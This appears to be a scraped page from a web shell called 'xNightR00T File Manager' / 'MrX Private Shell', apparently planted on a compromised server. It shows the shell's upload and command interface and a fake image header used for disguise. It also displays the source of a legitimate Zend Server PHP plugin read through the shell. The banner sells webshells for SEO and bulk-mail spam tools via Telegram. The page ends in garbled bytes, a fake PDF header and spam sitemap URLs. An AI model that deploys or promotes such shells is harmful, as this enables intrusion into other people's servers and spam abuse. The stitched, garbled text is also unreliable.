xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Controller\Plugin;

use Configuration\PhpVersion;
use Zend\Di\ServiceLocator;
use Zend\Mvc\Controller\Plugin\AbstractPlugin;
use Application\Module;

class ServerData extends AbstractPlugin
{
    /**
     * @var ServiceLocator
     */
    protected $serviceLocator = false;

    /**
     *
     * @param ServiceLocator $serviceLocator
     */
    public function setServiceLocator($serviceLocator)
    {
        $this->serviceLocator = $serviceLocator;
    }

    /**
     * @return array
     * @throws \ZendServer\Exception
     */
    public function __invoke()
    {
        /* @var \Deployment\Model */
        $deploymentModel   = $this->serviceLocator->get('Deployment\Model');
        $serversMapper     = $this->serviceLocator->get('Servers\Db\Mapper'); /* @var $serversMapper \Servers\Db\Mapper */
        $serversConfMapper = $this->serviceLocator->get('Servers\Configuration\Mapper'); /* @var $serversMapper \Servers\Db\Mapper */
        $manager           = new \ZendServer\Configuration\Manager();
        $globalConfig      = $this->serviceLocator->get('Configuration');

        $osName = strtolower(\ZendServer\FS\FS::getOSAsString()); // linux/windows

        $defaultServer = Module::config('deployment', 'defaultServer');
        $currentHost   = ($defaultServer != '<default-server>') ? $defaultServer : $_SERVER['SERVER_NAME'];

        $directivesMapper = $this->serviceLocator->get('Configuration\MapperDirectives');
        $webserverType    = $directivesMapper->selectSpecificDirectives(array('zend.webserver_type'))->current()->getValue();

        $defaultPort        = isZrayStandaloneEnv() || isAzureEnv() ? 80 : intval($deploymentModel->getDefaultServerPort(-1));
        isset($_SERVER['SERVER_ADDR']) ? $addr               = $_SERVER['SERVER_ADDR'] : $addr               = $_SERVER['LOCAL_ADDR']; // on IIS7, SERVER_ADDR is not used
        // get the timezone offset
        $dateTimeZone       = new \DateTimeZone(date_default_timezone_get());
        $dateTime           = new \DateTime("now", $dateTimeZone);
        $dateTimeZoneOffset = $dateTimeZone->getOffset($dateTime);

        $edition    = strtoupper($this->serviceLocator->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->getEdition());

        /* @var \Zend\View\HelperPluginManager */
        $viewHelperManager = $this->serviceLocator->get('ViewHelperManager');
        $basePathHelper = $viewHelperManager->get('basePath');

        $nodes = $this->serviceLocator->get('Servers\Db\Mapper')->findAllServers()->toArray();

        $serverData = array(
            'default-server' => Module::config('deployment', 'defaultServer'),
            'default-port' => $defaultPort,
            'default-server-url' => \Deployment\Model::DEFAULT_SERVER,
            'basePath' => $basePathHelper(),
            'current-host' => $currentHost,
            'original-host' => $_SERVER['SERVER_NAME'],
            'supported-by-webserver' => $deploymentModel->isDeploySupportedByWebserver(),
            'number-of-servers' => $serversMapper->countAllServers(),
            'is-cluster' => Module::isCluster(),
            'is-cluster-supported' => $serversConfMapper->isClusterSupport(),
            'node-id' => Module::isCluster() ? $serversConfMapper->getServerNodeId() : '0',
            'nodes' => $nodes,
            'os-type' => $manager->getOsType(),
            'web-server-type' => $webserverType,
            'os-name' => $osName,
            'php-os' => PHP_OS,
            'is-network-enabled' => intval(Module::config('server', 'networkEnable')) == 1,
            'timezone' => Module::config('timezone', 'timezone'),
            'php-version' => $this->serviceLocator->get(PhpVersion::class)->getCurrentVersion(),
            'php-sapi' => getCfgVar('zend.php_sapi'),
            'zs-version' => Module::config('package', 'version'),
            'build' => Module::config('package', 'build'),
            'web-api-version' => \WebAPI\Module::WEBAPI_CURRENT_VERSION,
            'server-address' => $addr,
            'environment-name' => Module::config('server', 'environmentName'),
            'environment-color' => Module::config('server', 'environmentColor'),
            'timezone-offset' => $dateTimeZoneOffset,
            'hostname' => gethostname(),
            'client-ip' => $_SERVER['REMOTE_ADDR'],
            'profile' => Module::config('package', 'zend_gui', 'serverProfile'),
            'unique-id' => Module::config('license', 'zend_gui', 'uniqueId'),
            'arch' => php_uname('m'),
            'plugins-api-version' => \DevBar\ZRayModule::PLUGIN_CURRENT_VERSION,
            'store-url' => $globalConfig['plugins']['zend_gui']['storeApiUrl'],
            'lib-update-url' => Module::config('deployment', 'updateUrl'),
            'edition' => $edition
        );

        // check if GUI runs under Azure
        $serverData['is-azure'] = \isAzureEnv();
        if ($serverData['is-azure']) {
            $serverData['azure-license'] = \getAzureLicense();
        }

        // check if GUI runs for Z-Ray standalone
        $serverData['is-zray-standalone'] = \isZrayStandaloneEnv();

        return $serverData;
    }

    /**
     *
     * @return string
     */
    private function getLinuxDistro()
    {
        exec('less /etc/issue', $output);
        if (count($output) > 0) {
            $distros = array(
                'Ubuntu' => 'Ubuntu',
                'Fedora' => 'Fedora',
                'OEL' => 'Oracle',
                'RHEL' => 'Red Hat',
                'OpenSUSE' => 'openSUSE',
                'SUSE' => 'SUSE',
                'Debian' => 'Debian',
                'CentOS' => 'CentOS',
            );

            foreach ($distros as $distro => $keyword) {
                foreach ($output as $outputRow) {
                    if (strpos($outputRow, $keyword) !== false) {
                        return $distro;
                    }
                }
            }
        }

        return '';
    }
}

Filemanager

Name Type Size Permission Actions
Authentication.php File 5 KB 0644
CapabilitiesList.php File 4.79 KB 0644
ServerData.php File 5.87 KB 0644
ServerInfo.php File 1.71 KB 0644
ServiceLocatorPlugin.php File 508 B 0644
TestEmail.php File 215 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml